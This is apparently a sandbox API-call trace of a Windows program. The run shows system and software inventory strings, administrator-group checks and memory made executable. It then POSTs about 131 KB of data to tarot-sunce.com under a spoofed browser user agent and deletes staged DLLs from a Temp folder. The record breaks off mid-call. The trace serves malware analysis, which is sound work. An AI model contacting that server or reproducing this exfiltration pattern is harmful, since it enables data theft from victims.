lpMultiByteStr="2ý}\x1e<\x0e*\x1eaETAdzjzYKYD69Q\x1ex64\x1elë\"\x1eWindows 7 Professionalal Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 1 [0166.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb8d, cbMultiByte=1, lpWideCharStr=0x1e7deb64, cchWideChar=2047 | out: lpWideCharStr="0ṽﮕṽ2ṽ⹣眨嘠獩慵⭃‫〲㜱删摥獩牴扩瑵扡敬⠠㙸⤴ⴠㄠ⸴〱㈮〵㜱ㄨ⸴〱㈮〵㜱〮ഩ䴊捩潲潳瑦嘠獩慵⭃‫〲㌱删摥獩牴扩瑵扡敬⠠\x07") returned 1 [0166.425] SysReAllocStringLen (in: pbstr=0x1e7dfd4c*=0x0, psz="0", len=0x1 | out: pbstr=0x1e7dfd4c*="0") returned 1 [0166.425] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x1e7dec84, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ý}\x1eÄ\r*\x1e2ý}\x1e<\x0e*\x1eaETAdzjzYKYD69Q\x1ex64\x1elë\"\x1eWindows 7 Professionalal Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 1 [0166.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb85, cbMultiByte=1, lpWideCharStr=0x1e7deb5c, cchWideChar=2047 | out: lpWideCharStr="0ṽﮍṽ0ṽﮕṽ2ṽ⹣眨嘠獩慵⭃‫〲㜱删摥獩牴扩瑵扡敬⠠㙸⤴ⴠㄠ⸴〱㈮〵㜱ㄨ⸴〱㈮〵㜱〮ഩ䴊捩潲潳瑦嘠獩慵⭃‫〲㌱删摥獩牴扩瑵扡敬⠠\x07") returned 1 [0166.425] SysReAllocStringLen (in: pbstr=0x1e7dfd40*=0x0, psz="0", len=0x1 | out: pbstr=0x1e7dfd40*="0") returned 1 [0166.425] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x1e7dec7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ý}\x1e\x9c\r*\x1e0ý}\x1eÄ\r*\x1e2ý}\x1e<\x0e*\x1eaETAdzjzYKYD69Q\x1ex64\x1elë\"\x1eWindows 7 Professionalal Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 1 [0166.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7dfb7d, cbMultiByte=1, lpWideCharStr=0x1e7deb54, cchWideChar=2047 | out: lpWideCharStr="8ṽﮅṽ0ṽﮍṽ0ṽﮕṽ2ṽ⹣眨嘠獩慵⭃‫〲㜱删摥獩牴扩瑵扡敬⠠㙸⤴ⴠㄠ⸴〱㈮〵㜱ㄨ⸴〱㈮〵㜱〮ഩ䴊捩潲潳瑦嘠獩慵⭃‫〲㌱删摥獩牴扩瑵扡敬⠠\x07") returned 1 [0166.426] SysReAllocStringLen (in: pbstr=0x1e7dfd34*=0x0, psz="8", len=0x1 | out: pbstr=0x1e7dfd34*="8") returned 1 [0166.426] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x1e7dec74, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ý}\x1e\x94×*\x1e0ý}\x1e\x9c\r*\x1e0ý}\x1eÄ\r*\x1e2ý}\x1e<\x0e*\x1eaETAdzjzYKYD69Q\x1ex64\x1elë\"\x1eWindows 7 Professionalal Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 1 [0166.426] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfc61, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfc5c | out: pSid=0x1e7dfc5c*=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0166.426] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfc58 | out: IsMember=0x1e7dfc58) returned 1 [0166.426] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfc61, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfc5c | out: pSid=0x1e7dfc5c*=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0166.426] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfc58 | out: IsMember=0x1e7dfc58) returned 1 [0166.426] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfc61, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfc5c | out: pSid=0x1e7dfc5c*=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0166.426] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfc58 | out: IsMember=0x1e7dfc58) returned 1 [0166.427] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfc5e, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfc50 | out: pSid=0x1e7dfc50*=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0166.427] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x1e7dfc58, ReferencedDomainName=0x0, cchReferencedDomainName=0x1e7dfc54, peUse=0x1e7dfc4c | out: Name=0x0, cchName=0x1e7dfc58, ReferencedDomainName=0x0, cchReferencedDomainName=0x1e7dfc54, peUse=0x1e7dfc4c) returned 0 [0166.428] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e2ad2c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x1e7dfc48 | out: IsMember=0x1e7dfc48) returned 1 [0166.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.429] VirtualAlloc (lpAddress=0x1fd54000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd54000 [0166.432] VirtualAlloc (lpAddress=0x1fd74000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd74000 [0166.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.436] GetModuleHandleA (lpModuleName="wininet.dll") returned 0x76fd0000 [0166.436] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetOpenA") returned 0x76fff18e [0166.436] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetConnectA") returned 0x76ff49e9 [0166.436] GetProcAddress (hModule=0x76fd0000, lpProcName="HttpOpenRequestA") returned 0x76ff4c7d [0166.437] GetProcAddress (hModule=0x76fd0000, lpProcName="HttpAddRequestHeadersA") returned 0x76fedcd2 [0166.437] GetProcAddress (hModule=0x76fd0000, lpProcName="HttpSendRequestA") returned 0x770618f8 [0166.437] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetReadFile") returned 0x76feb406 [0166.437] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetCloseHandle") returned 0x76feab49 [0166.437] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetCrackUrlA") returned 0x76fdd075 [0166.438] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetSetOptionA") returned 0x76fe75e8 [0166.438] InternetCrackUrlA (in: lpszUrl="http://tarot-sunce.com/linko/PL341/index.php", dwUrlLength=0x2c, dwFlags=0x90000000, lpUrlComponents=0x1e7dee08 | out: lpUrlComponents=0x1e7dee08) returned 1 [0166.438] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0166.438] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x1e7dfc74, dwBufferLength=0x4) returned 1 [0166.438] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x1e7dfc74, dwBufferLength=0x4) returned 1 [0166.438] InternetConnectA (hInternet=0xcc0004, lpszServerName="tarot-sunce.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0166.439] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/linko/PL341/index.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84003300, dwContext=0x0) returned 0xcc000c [0166.439] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="", dwHeadersLength=0x0, lpOptional=0x1fd72c24*, dwOptionalLength=0x201ae) returned 1 [0166.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.791] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x7) returned 1 [0166.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x0) returned 1 [0166.793] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0166.793] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0166.793] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0166.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.794] ReleaseMutex (hMutex=0x38) returned 0 [0166.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.795] VirtualFree (lpAddress=0x1fd94000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0166.796] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.796] FreeLibrary (hLibModule=0x746e0000) returned 1 [0166.796] _execute_onexit_table (_Table=0x74809180) returned 0 [0166.796] RtlInterlockedFlushSList (in: ListHead=0x74809170 | out: ListHead=0x74809170) returned 0x0 [0166.798] _execute_onexit_table (_Table=0x746d13cc) returned 0 [0166.798] RtlInterlockedFlushSList (in: ListHead=0x746d1400 | out: ListHead=0x746d1400) returned 0x0 [0166.798] _execute_onexit_table (_Table=0x745b3a54) returned 0 [0166.799] free (_Block=0x1e27ff48) [0166.799] free (_Block=0x0) [0166.799] free (_Block=0x1e269b40) [0166.799] free (_Block=0x5b0ee8) [0166.799] free (_Block=0x5b0cb8) [0166.799] free (_Block=0x0) [0166.799] free (_Block=0x1e269af0) [0166.799] free (_Block=0x6abac0) [0166.799] free (_Block=0x5bfa90) [0166.799] free (_Block=0x0) [0166.799] free (_Block=0x1e2630d0) [0166.799] free (_Block=0x6aba20) [0166.799] free (_Block=0x5b0f58) [0166.799] free (_Block=0x5b0f48) [0166.799] free (_Block=0x5b0f38) [0166.799] free (_Block=0x5b0f28) [0166.799] free (_Block=0x5b0ef8) [0166.799] free (_Block=0x5b0f08) [0166.799] free (_Block=0x5b0ed8) [0166.799] free (_Block=0x608698) [0166.799] free (_Block=0x608688) [0166.800] free (_Block=0x6abb10) [0166.800] free (_Block=0x6abb00) [0166.800] free (_Block=0x6abaf0) [0166.800] free (_Block=0x6abad0) [0166.800] free (_Block=0x6aba50) [0166.800] free (_Block=0x6abab0) [0166.800] free (_Block=0x6abaa0) [0166.800] _lock_locales () returned 0x0 [0166.800] _unlock_locales () returned 0x0 [0166.800] free (_Block=0x6aba90) [0166.800] free (_Block=0x6aba80) [0166.800] free (_Block=0x6aba70) [0166.800] free (_Block=0x6aba60) [0166.801] free (_Block=0x6aba40) [0166.801] free (_Block=0x6ab9e0) [0166.801] free (_Block=0x6ab9d0) [0166.801] _lock_locales () returned 0x0 [0166.801] free (_Block=0x0) [0166.801] _unlock_locales () returned 0x0 [0166.801] free (_Block=0x6aba30) [0166.801] free (_Block=0x1e27f0e0) [0166.801] free (_Block=0x6aba10) [0166.801] RtlInterlockedFlushSList (in: ListHead=0x745b3a80 | out: ListHead=0x745b3a80) returned 0x0 [0166.802] GetProcAddress (hModule=0x75b90000, lpProcName="FlsFree") returned 0x75ba359f [0166.802] FreeLibrary (hLibModule=0x75b90000) returned 1 [0166.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.873] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.873] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\*", lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa21647c0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2fd2d20, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2fd2d20, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258bc8 [0166.873] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa21647c0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2fd2d20, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2fd2d20, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.874] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa251ca20, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa251ca20, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2542b80, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4938, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0166.874] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-console-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-console-l1-1-0.dll")) returned 1 [0166.874] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2542b80, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2542b80, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2542b80, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0166.875] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-datetime-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-datetime-l1-1-0.dll")) returned 1 [0166.875] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2542b80, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2542b80, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa26bf940, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0166.875] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-debug-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-debug-l1-1-0.dll")) returned 1 [0166.876] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26bf940, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa26bf940, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa26bf940, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0166.876] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-errorhandling-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-errorhandling-l1-1-0.dll")) returned 1 [0166.876] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26bf940, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa26bf940, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa26e5aa0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x5538, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="AP87F4~1.DLL")) returned 1 [0166.877] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-core-file-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-core-file-l1-1-0.dll")) returned 1 [0166.877] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26e5aa0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa26e5aa0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa26e5aa0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0166.877] DeleteFileW 